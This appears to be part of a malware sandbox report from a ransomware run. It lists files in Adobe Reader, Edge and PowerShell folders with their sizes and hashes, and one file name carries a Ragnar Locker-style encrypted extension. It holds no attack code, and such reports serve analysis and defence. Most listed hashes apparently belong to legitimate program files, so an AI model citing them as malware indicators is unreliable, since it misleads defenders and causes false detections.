C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg
Filesize
6KB

MD5
d4059a8b90a86c08168dc3aea7ef15c9

SHA1
ce5a6d6db969ae3fd529a7465b789bf8e66de921

SHA256
b47dfad2bf9e284485c2d21a5393c2ce20c6fda8e3670967fff27eef3b4e61e0

SHA512
c12d0c361ab91994ded35a7ccc694539f4973c607fe813b8c8a6ecdbb50e2726605f615cd1efcfe8791a687c0030a7d01113719bb8ceefe6709ff105e9da9f5a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg
Filesize
7KB

MD5
0a1f6a01d189fc5ff74ae11ed7d42b43

SHA1
63f65ece1adae138054d86c58989d220cd733050

SHA256
fda3981c41c37c2343b3009806ddb09e6b90543120f1175957a4e570675c083e

SHA512
9609f0d72515b6e47ad41e019b839ae35a2e46dc75b92cc67fe07b08a1bd8275554240b114ac5c38b337a8aece6dfeddaaf365dddf916375a04bd53bb960cb0c

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg
Filesize
6KB

MD5
e91c5d2ca0287f0fd582d260c0a118a5

SHA1
b02439c8a07ff2b4261e42717265946293a3a8e1

SHA256
6c666ae8a58b798270245e30a2203074b1dd98560fd49866412573b332bd3313

SHA512
11db5801eb10b9cdf4918fb576d6223caf733ed7901dfe1cabb9e5b3b5f44a1836e1c7a7ab7ae92156e50e9444aea7c61cef122dbd5459cfd788444167dc5734

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg
Filesize
7KB

MD5
18203ad2a262212abc212638d10cf184

SHA1
4f0c544958b20b9cf24f3f2fdef7ce0d3a36eab6

SHA256
c4bde1aa6563231e3cbae7b249ad6af88456a94f119495f6bbbead3ae929b621

SHA512
7f88a67cbb3ada324db65ddba5181267641b5b5b523c5aa59910ff48f193415e13588f6cfea58a947065a442ca3c5bf5c09e61aca78f0c6a418707c2906460ab

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg
Filesize
6KB

MD5
7399b3d7f6a48e2339dd994298be91bf

SHA1
c5b5e2b25ca76a03e5a5ff68423bba17d0d3d250

SHA256
3a62c291f42fcd0a02d566520a08c4a572a225091bcd8f3fc0e4d40d39bcc618

SHA512
88ac39b99d43d843c71854b56e3948864d5182551292c8e47e315145442885ab7d16473b427416ef337409e1eb4852e8c4103da9ed46febdb13c864f6ac1a153

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sv_get.svg
Filesize
6KB

MD5
02c35975521781a7b7e525298a12670b

SHA1
569b75e963d7721b6742b395e235763351949fd8

SHA256
0f0f2725bb7627facfe4fab7f2ae1d526dbff4f01f4a8b0531a59c87dbf4b235

SHA512
180cf920af6096af2c8dd4d50124e2e93e51880f0abd3220feb47e911d14757dd79e1a5fe2b6275c94c25f1b8d1272e12eebd8b72a2ed19a1a7ab9007a3d375b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\tr_get.svg
Filesize
5KB

MD5
eaa71218a2f39226d29cc3ec1262a750

SHA1
6787c319ee6417e15d477966f2741b4a302c7288

SHA256
73d060a6025d125352f8aafb8282df9e007460c1199b772a970662c46d941f38

SHA512
96a441f525d3b37c7b7da8033707b05e293f9549fa23c216f2b3734ec5f66bfa5a641b8502e1e07e57b6303801e2f217476bd21c8e00369bf8f705a73b477df6

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg
Filesize
7KB

MD5
670b11e19c2d70e5ff7fd18d9283a2f2

SHA1
d824b37c59f4fb7c044ccd50188d5dbadfb0d152

SHA256
d25d4e7ff394ffa5f8cca115162cce5509c2b74bc038144429b2e68890127739

SHA512
ad7f1334d09cff4f75949b57480d7564901c15ee76242e378241a9d1fe73f515c2a32766ecad11af3250236c03869fc26ddebe2d57f0fa9d9bb9eab5b413fdb9

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-tw_get.svg
Filesize
6KB

MD5
88fffe327a33370eb2e235077753a380

SHA1
a63b035ef0de9273b261bf32ec51f251aba49931

SHA256
31fbd7ef1e098bb13e3a9f6b33f7475eaa92c09720cbfb2df912e07df05b0285

SHA512
91917832ac72e24bca9c7e798ed8d161c1c46e88d80fd7443f44640039d8a9e0f65e9c3790a1c409921d9eb99a36c709041628979ca5a56f3839b50eff8a1dd2

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\ui-strings.js
Filesize
1KB

MD5
8d93d7374cd842b007d901f2dfd8e07d

SHA1
367b8926f2c7373bdcf83c61b0e78840298a8cae

SHA256
a4f2b74b0241a87e998d17de63b0b5e73e2cfa1f13031ee8ed96dd7565d07ec6

SHA512
15350ab963fd8e479d33b00682e2315d71bcd9a502a567e004734c2018f67b993cfaa6fb270c2b531459c7298fa01d0f923dfcc9d66952c1a891b11704ba7669

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ui-strings.js
Filesize
1KB

MD5
544126c0a0312c2741f1c96a8172a3d2

SHA1
52f3cc7b12e6916eb3f5da42eafcb52e8acdc52b

SHA256
6af206a87516e6a4caad3bd7b8019c083bd1c34d917f3d2198b0f43c810efc1b

SHA512
48b111e8e9c66cf227203b73a0aab2879a35c8efb81d5ff04ea103fecf3ff014b3184a5434008a5fd5be0ff6bbb4ceab4c9a4e3b2c51b122d671d12fe1652270

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\css\main.css
Filesize
1KB

MD5
c19aab7b1e8ad63704ba22b0b01e1d50

SHA1
b096995dd1410b1300917bd52f166dd4b3ac0fa4

SHA256
8b450e5be60457ee5542ab4581eecc8d704d6b6b84ccf868650edd974aadee23

SHA512
fb177ee39a036489c283fe9c29f8dd189ffee3dd48bef85fbde50e022d1c747e2c0351aed2ee8eb5494aa8dfd653c6d06d71a89afa8c0309f0ceb58d1034a633

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\he-il\ui-strings.js
Filesize
1KB

MD5
f426163c41746aa5579708fef16a3ae5

SHA1
2058d480397bf9d9d1020f0991c28d3b8b25b9a8

SHA256
9320457a04ddc614de94593cad72331aeb1a98b2f6065f7f990756f5f96b4d71

SHA512
92ae689071e7b4ed81422aa37e31c7605550ec92ec1fa850a9e75e287b6178e9ec35dc578987274bbce935542124125cc3d2ac2d492f67213675523deee58eb1

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\nb-no\ui-strings.js
Filesize
1KB

MD5
7389bcb54b36c09345f94d92b30580ee

SHA1
b84b84c269dc29a2b009cd4c8845e2b7b81834ae

SHA256
65ab09c2528207e474b1f231f16473970eaf2037429415566605a1e84df327bd

SHA512
f2450414ffaf7374ff1132c3279f9d269ea208557a06d9edca37ae5c8e51ed3bc4bd58599187821416cdd569be8f837b06da131141d295f2a654b3f7fe63890f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\root\ui-strings.js
Filesize
1KB

MD5
f834e0d7aa443414d0488070695f871c

SHA1
90cd6a3c709cb6b3c984363cbf5b1b53b22c9ea6

SHA256
d5caa69e41e8ccab9a8566a24c9bf395794874368e7efcb9ea6393c95ce549b8

SHA512
e0f8e2d413d6126a875ca7ee5ab702224f371be4bf8d05e49c3d17ff99b73c97d4c8eb743804b8e87d26f7ca11f83c4e66b74df969f14a4aef2fa3d476782d33

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css
Filesize
1KB

MD5
e01cd6fe728d61b2991dff4357788178

SHA1
6df3898855f8ef7cb6bf69948f6739efae6f3b8f

SHA256
a81ac4988c93b86c75013472d394137332c242a98cc2c246b5c7ef27b15fe28e

SHA512
6bf7ea99c14ad4efff8c828f82bd80a844607ce08d59f252b265c3469f89763d198921326bf13ed98ee134e61f4707f092f239d7470dacc01e10f4e28293603d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png
Filesize
6KB

MD5
e0a9a00c28e6f1d0aab551414b6cfad8

SHA1
530da12719e56cc07d38f0cb3216238575fb6f5e

SHA256
f908986683fee10093a2af64531f97d84138314f9310d596119dd0cad61a5911

SHA512
dfd1d74d4ac770cc4e334b8fb45a65c25f49cbe81ac9ab812cbc27d123260d48cee8eed55f0d27f1241a11dd5aac77a64690d312accb603f43edb2132969ba7b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif
Filesize
19KB

MD5
1bb3440d3141e9dfb8d1c3550e1b21e7

SHA1
a09e637fbfd1b6a4dfddc469c53ddb3546879d72

SHA256
edfb75d4b946f73bd4aa2912f7f0ab8e20d1ceeae19e21df540768115d970de2

SHA512
ad62519fbe90dc1631106be7ce979b997123d0e566337d16c9659e51cecefbaacdb1ed1bc1b865de4758047914a926f7594765329fd7ce98d4cce5d39acc36ae

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js
Filesize
8KB

MD5
576d433cb347c87f49476a228c24a118

SHA1
c6e64e4e445c2ce3c579519432ee40a6b4036acf

SHA256
978ae2b294c20d267b25e78b2797573809100e191284affe7f802aaf3bc56abe

SHA512
a59db2f40d4b776fe5210d7c22407ddf51f0952dfcef9633ee354adf22c6787c0fe6b0db257dec8518746168a13ba8db7f8404dea1c4c46550fd9c478c871122

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js
Filesize
4KB

MD5
41bb90dbb34cd918b411558ac4a443bc

SHA1
bde231f2428218901f450cf87fe3cca5b5085f06

SHA256
666ff5a2017f781e320a56e3d65a9714e01b2adca36796109b01d1a5a9129f57

SHA512
790cb5857ace35c5322836a857a435f2a3bf2084d12efb7d0114bd7a864d2d3b6d2b1449fa57ce67fb6b06cea4377eef52f16f84cb12de5507d757fbb0e98cf7

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\ui-strings.js
Filesize
1KB

MD5
590d5ff6d2c627f0af27ef77d69b0295

SHA1
e562a61125555b7353ef620003d2d92b86771ea9

SHA256
a43dc9460d7ca6e3eae1c362a853f05a76ca1eed87ff0f7a33d8ebefcd756c9c

SHA512
bc3e0d7eb99c821958343b5985e9f15c61f2401d31c1351ae5b21a94753318ef6eff417e807f7c3b0888db3fbec47a37e68344101a6ae301429d025a18f2dd48

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\bun.png
Filesize
3KB

MD5
72d108f048fb537e3ecd758dfb66a4a2

SHA1
bc53e7a1a2f4146944bb4eccee1c6b613c9f0abc

SHA256
8f01d9f1a84f62f1e5952db9980a05cb33a08e1a73a5f6179eb69e737d2e3cb4

SHA512
717dcfcf3fbbc450737fbe1c81a63fca1320fd28f95f10765fdf590ef5e5692208b139cf324fa715a48f9b2608239a30686bcb88e358ec42b7010f964645d2ce

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview.png
Filesize
2KB

MD5
534dd81013ebaf5445d88962227b4a5a

SHA1
6bbd4d249435a29e2b0bc92713127586b5ab4cf7

SHA256
1ba51776f1a3b7960a311f7e7cd945107bf98473c9079e5cf7b4e26285f208e7

SHA512
d0d8c0a4251450d7b8ff1c7bf8f7439bc8138f35ad370e771a2544392a83f8b96b04b85caa28ac13a46c3138336fd9b5ed61e7e473d001840093f91df1606e1e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview2x.png
Filesize
5KB

MD5
948f1b7a39faf0d28e8b451a12eb5c3b

SHA1
ebf47a6256676080ba0f21b4954b747270403ae7

SHA256
51dd73a6e6af9b6cb2da888cfa2740a0d45e95d463b56aa91b1026c1344af042

SHA512
966ae2b998743033110f73a9796550127e6a4a58333004571049468b93912ac1a04a7f4ec199c32fb766b52dcae21bfea4ab351a175e234dd20682849e0e0060

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small.png.ragnar_7AAB8A15
Filesize
810B

MD5
a4f9481db4638949ef200f8cb8ef0e44

SHA1
49fc8c6e3597f4379e88d21e86e1741da4d239e4

SHA256
0eef502d8348463f5aed68194f86bad86da38cc5110680fe9f19dd5385032095

SHA512
1549407a004f14387d5a4339a4e1d273365b83a88ecd3d8be95127163af9c8d58d95be1e7a346767390bdba4ef23fa35c385d6d72c2eb36ad888f20e38b713c7

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small2x.png
Filesize
906B

MD5
04d62574b1118b57ac4bd50318d2f504

SHA1
9036207ff9dceb48e9eb6ab08c0403494b9f2564

SHA256
f2a6fd4787bdb536efc28cad56632a9302401831412e737f88176032c9881795

SHA512
0b3a68f318d044dc6073171ebc9b1def6a9f8981818cd566663a9d9c89dac7d3905dd32fc246a71caf2d41ef15d2c889b5f79cca9187413f52f65e7f668cb269

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\illustrations.png
Filesize
4KB

MD5
1271a77fd3b2d62bef643d729c03425e

SHA1
bb7a73b1baff4172b4e60be610af0bc5bd9e002a

SHA256
4ab079a5965e0508f99f385ace3a811f24495618d6c4c82d199fef1297a20e71

SHA512
af142df6f0c4461b12d3caf49a44629414eb3a6026ba8c684c99075b823ee5aad8e9ab5f9176f462bd3bd4010c9fb08e4ac5a02069f96e1699b3e55bef9af3d4

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\nub.png
Filesize
1KB

MD5
cd5f3fb8ba9f48f80514759c82040396

SHA1
558b165e86b82ec7d1328482ddea46bd7a851717

SHA256
d27fec000c1f07a127ef184be75e34cb9e58057c558d9fbd7a6e1253d2fdf451

SHA512
8d775823b34650f27fc15a68eb79d40f70f1882f088c2a592a2a0ede77e3f1b7f6a07b812c4321df518dfcf99dc8c0718f621a73dade24d82de48b862e260cc5

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_filter_18.svg
Filesize
1KB

MD5
1da82af25c2ed2c901169eb658e860f0

SHA1
0e9dbd6f3327234ad2cd5ac6d044b27a67088e4a

SHA256
472328ed09d13f91dfee8ad66197f1c2a9064fcbd766abb09c607faa7f269ed5

SHA512
4803e502641070727ef0ab588ee825cfc3c359a17efb1687e2bc16863c3f3bebacd38a022c60990e05b2088c3c1fb8bef6a205870ef1f3e598e8e79d87ac37da

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_listview_18.svg
Filesize
2KB

MD5
607cab7b2fe94ad7203ccbeba49dce04

SHA1
8679005b03545c974a8a54418b38380b42a39515

SHA256
449511df96c3e529af24c8591f72881c44fc8a367f5141ea29113df5da0d9355

SHA512
4d9cca5bffb54a027bcb54fd5ce3e2515caeb0dd141d2a2feb2d3fa12ff3adaf9e3a20606e8e6b34009c45a754d9bc451f4c8bd528c687f1bb9e97f95473f556

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_opencarat_18.svg
Filesize
1KB

MD5
4b0414864577baa3acf4db2a27b5f399

SHA1
96bf8a230f20885b5ef66babe10a1d4935f83b06

SHA256
77d61ba07c6e0d92d2495aa763a5b91a1a6e4be1cc71c099a22a6e6a34230be9

SHA512
ace3a957eeea9665526bf7bbf36d20b8517ede4245f80840e8fb53e2b13de766cfde042db235af6f6a94938544845a336c1f17cb860b69c8a2f3f52b8e4cdb9d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_thumbnailview_18.svg
Filesize
1KB

MD5
464d7fef613f294ddcb7c2bdb096e57f

SHA1
24c36228c6ac8cb75d9a656077a70c5c17024176

SHA256
118cd715aa45708d0305d1b6dbf86f547d2a27c928fd6af62a540d700c0657de

SHA512
fdf3bf0f93324c8e02d13fe593bd41bb862b6e0eb6860f8d8222dce52ac40a1659cf70facc076f8550ec406265e00e9152ca3e02a8c1eb953bde459e1432d9c2

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons.png
Filesize
1KB

MD5
7a6a5c7aefc90b9340ed0b0b6da73b36

SHA1
b74efd03527ec828cf42fb3674e6ddf213f799dc

SHA256
12b77b734ab1c3fef70a33d1e46246bf256f493942819c6cb80b250f4e519251

SHA512
ecdb99943f11aa2679b769f8a581aecd9aeb2798010335bcc514aac2d984ee8099197b2f62f77191e60c074bf4aca04789f9eda3d7b0b421a93804a2f9021e7f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons2x.png
Filesize
3KB

MD5
43241de73ef49859bda87c0fcd4653e1

SHA1
85601dc0c7a1c3d5846a9fa3cc7bb3daf3ef73a3

SHA256
0bad323a53677021304980b0d2c2a6bc5cae3f109590440f23bec6a69a3f3316

SHA512
5d7416b832c98fc77305c5ba5265d6d1cd98089fe10387fc9b8f6822e154d051ff37f69878db77740a7c37d979c0631b0dc5350673354160c22de07034b21735

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\root\ui-strings.js
Filesize
14KB

MD5
a1bf528a95a6d7b4f64cb95a476e55d5

SHA1
44b492a49611dfbe1e9d8b45aa89f9b94d4631ea

SHA256
77196e6d4e2b8f9815cba3c5f9f20e83fdd1438974737bc1d8dcac228939868e

SHA512
aa392267a0f0e150e771842b943617df9ee8c33df802d3965e3ce36cb6e8fc31b903e935d6a0a7b4a2d0e26013356137ca17a61afb443f5ff917267db2cb1169

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif
Filesize
1KB

MD5
0652ef5d062c84d58e3fc7f51bcf8f5c

SHA1
fe559e783f1c2b731da8ad3a48810c37c7e16545

SHA256
b827e13f43f8cb0da58460a949aa9607c4e12036023cedda51eca47bfa36348e

SHA512
00553478135cce50816fddaf65fb71e915e9061eef83c4813cf9a87260d71b71e6fcd6680904a411340276bf1f73e26e4d4f8b789678649fd5ef0e80f2223cbb

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adc_logo.png
Filesize
4KB

MD5
f98d8a86fa73b54cc0d8445e1c5e1852

SHA1
1428bbd878a75a1c4eebb13897e8f5b2ebdd102a

SHA256
b207bf5faa9d06d467f986788111f239731564e9adaf69e52dfeb7e2dce7ba78

SHA512
80faa972f86618f63deb65747bb60049279863ec8757bba471bace3296920c787d87781e7b173b01c280d1117cc0687cd8efc8e1cd9f2e6df07265a9f75533be

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png
Filesize
7KB

MD5
d39aa7ce727c691ae4bd55a6b8d392de

SHA1
ae8cbf96fd6328f9af7fb575051b6fcaf53c4cc9

SHA256
82a030d838a73e919375c33028789bd7c266bf359be6c241245fc37f02b550fc

SHA512
ecf964da476922582f7de09a984e2f5889ed76da93fa476604ff43519e34cba230490c215d05ca1cc1272e7b54f793a55c2c6ee99c88db803314881a5645075c

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png
Filesize
1KB

MD5
27eda89dabd368c249e103d84af6bb73

SHA1
d366410bbe4d64b5f7fe5c05141d977bc0386596

SHA256
856bb643224cc96a93220219fdd61bc90d16bf59bbe45b53b2c76c654b307e3c

SHA512
7dc1d614ca1e97d944846bab0b55d379b59d0be278265b84ba1da53bc400021dea0284df0c7caab5e5ec9c293edd25024b70d3e267645ae82f874533659ffec7

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png
Filesize
2KB

MD5
a79ca27cfc27071fa78014664ce4b9d8

SHA1
ac2d3984ce1a1d23d154a638aa265f99c4d10174

SHA256
c28b9805a82042fe1919ebf7fd88561bfd62ceeb538d1df4a1b6091abffb8024

SHA512
c82ff164675fa0315cb5f11c15c430f2557d792a7b4cf975e4eebda3066ef6ca1dc78524f3ea695344ea57e250d4dd01f8ce903c9752353c138ddb8ef2386562

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js
Filesize
10KB

MD5
52178db3f503a6d6cfb890e69e8a589c

SHA1
bf82d436c21f1221f0aee5235fc27d8b27625501

SHA256
c133afc9b4a1aa5617f8970463fb93359398c5a2669c1cfa1d9fa26e3bb75309

SHA512
9937fd8e5bcaed3bfd88f26504b819ac873a94e0ae6dee2c2566ed1bed1628fd4d698f64db3b44943481b2e199e6d696da7cd7eeafcaa1d24c695410599608c8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js
Filesize
14KB

MD5
488ecf96cb353a55afd96714d242d17e

SHA1
9f41dacd6ab70978c9cbd2e455704ee8a403b02c

SHA256
b98784f1f8118b6c357a58d837f6f6bb5e2783ebfa103b66ac58b3b9908c60b5

SHA512
01ff2ab48dbd6a16d3b3bf9424417b2321cd36d63d9c524ae48352c63b5ebd98019c391317d32aeb0c993ae05cb8416c3dcda48a30c8ba6b5b28b6ac1cbd010e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js
Filesize
1KB

MD5
f0ea07c1bd42ab41a2ad6bb37af1b022

SHA1
24d0d1db658182c07c9f19f61b74172ddf90fea3

SHA256
9421191816fa486674807eb168b55c3cad5cafa8c2009224203463353ffa8709

SHA512
c23184cbd2d7896331d6d5907fa6c5fefebb970a6fd7a44a6af5dc9eb940ed1042d243f03a9bc5813718ad3e1f4d1ccf95dc5196b3bc81c930bb7fcebb3fe5a2

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\ui-strings.js
Filesize
18KB

MD5
c9b58418f19ac79ed75652e0b9468bcc

SHA1
46afce926e776ea7005449d954d0b128c2f0f59a

SHA256
cb896af4d03209a882f711dc0a5bda9314b8852c694ebc619907ebfc18e0132d

SHA512
57d356b9b4b2b92be2f3dd0021818a7976d41dcb81010724fd85c48951e39a14a2694ab536e981b7561199aca8cd3508b7277d93d5bc5e32b6c8f60a8fe66f59

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ui-strings.js
Filesize
1KB

MD5
cd822a1540ee30b9ede2f412de9fae5a

SHA1
7e9a0dc053644791ea9c51add9c7fd8f0cfd8da4

SHA256
14231746a50b989b67cc3a37fae9cd01c295fbf3639fbaf2f26c2dbd6c15da30

SHA512
ad548d9b977dc66bb578d2a960bea013f58ea32b37f1f1260182f1ff6f16d0f93cbd5d08450bd845b0e3eb1008ab247a97f17a89e46dfb8c1db3129c92797048

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\he-il\ui-strings.js
Filesize
1KB

MD5
f6b39b0391ca630cce73344c2d536be2

SHA1
f56acaead3108a90ec29eb6b4d1999b609442791

SHA256
fffc22b1b4193a1b632cb5f1bbd9d83a343a4668abd99f4a454b2bf09152c158

SHA512
fc01e88e6ddc81eafda768d2cbddbd5730c53da80f9a6b7682e94d503e6d6696667a461373719f1200fa33c48c3ee2a978c6a177eff9f7eec56b3ebf6c990e33

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\ui-strings.js
Filesize
2KB

MD5
4208bf5e57c5b9b2917db23e8c26993d

SHA1
9ba1f39ff2dc9f0658808aa8a3472e5bb0345d61

SHA256
c2d3cacba228d9d9bd769237839d5c161b2981d70498a9fb7cd4b836a10d6746

SHA512
c1e0e7f3ea4180b24fce744b2a56af07e240662190b87b55b54d6ff4ce28d4310fcd088e0ffcad96ff69b1dfe8790c98bf952e0ef8176bf0ddc849fc825d0692

Download Submit
C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
Filesize
33KB

MD5
1d212b54cdaf49fd2e488bec696c5c73

SHA1
f9f6288e6fd10067e970c94ab5e51e3aa063eb6d

SHA256
1a1b3a3cf3beab6e0b28754b390b0d0df4b57ff293b85ede3d16b7974b0115ed

SHA512
88fbd4e48213a3a2a9eb71c8bd8b16afe9389d58e65c122fad5d304f4bfcbd7783ad865e5f24820e10139d664945dde65f5f874c91d4d943ebf3a8e66c3c7679

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Internal.msix.DATA
Filesize
55KB

MD5
566174d65dc4013ac281ba88fa82722f

SHA1
7fcb59f47ae59a31188b55b534a614644b1921f7

SHA256
2efbc7ae6a8bc3b5db442eb9d8add724e3329db710417449e8a31c3239c32e92

SHA512
1fb294a9d7815f29e91f197ec5fef3b43c3e55d86068ae08700aba0ac8e9ea0e83a28d8e41a69b1d7c2cc9aafde234ce42ce1f245148092e0c6f186aa216ec7c

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\notification_helper.exe.manifest
Filesize
1KB

MD5
467b9811459d1f3504b8dae6583dc947

SHA1
17f63f6ab13ce631609e0c345d5cbb18945fdba1

SHA256
96aa8ac52c84657662213474ab5c3ec84eb7f13cdc026ddbaa38a957fc78f09b

SHA512
c0e2e0fb0c7914499a219cffcf02735e5a05a9be00fc4d4ce59971d17bc51d8b490a0f83451520de0e1c3a9d6ccb545dd387f7f86c852a665bf65f145aee57da

Download Submit
C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\de-DE\MSFT_PackageManagement.schema.mfl
Filesize
2KB

MD5
75aa64b43b27fd453b547b974200d07e

SHA1
3730dd917e0a5c667fde9c0d294b71653a355e23

SHA256
3bdca752b84a707a02822b944e8c2002eda7165a1d42f31e563bf5ef9cb99a2b

SHA512
ff612a75eabb9424bf1acf1ff00809531e42e55d6a02fe227058036f08ebd5578165846b9c7cd2e1593521107a6a3b3fd38116fb3ec12b6b3df5890bc6f3e556

Download Submit
C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\en-US\MSFT_PackageManagement.schema.mfl
Filesize
2KB

MD5
9b43d6adb93aea13d6fe60b884517e92

SHA1
67354ca0f0983e4a8f7e311ed70f3fdb46736dc4

SHA256
410bcccbae5ace2837a3f3494204e1cc07f965b2d37c5ebd37ad1fb0266fd1d5

SHA512
c9e8ed4ce65f3d8ed754652943286dcea3c30634dc59ecfc1bc454d43b73fdffe51e0c9be12bb65b2ecc37981c2c45ea55b984494e55121cf5e6bd351cd67911

Download Submit
C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\es-ES\MSFT_PackageManagement.schema.mfl
Filesize
2KB

MD5
ab6975aa8630b395213c71ad05f5883a

SHA1
ab9d914be477eaa42f1a382fa9101cc9ce034b3a

SHA256
8e3986e7c667b305bafb75de358524f14709755634abff8f75db9f46e2ab344f

SHA512
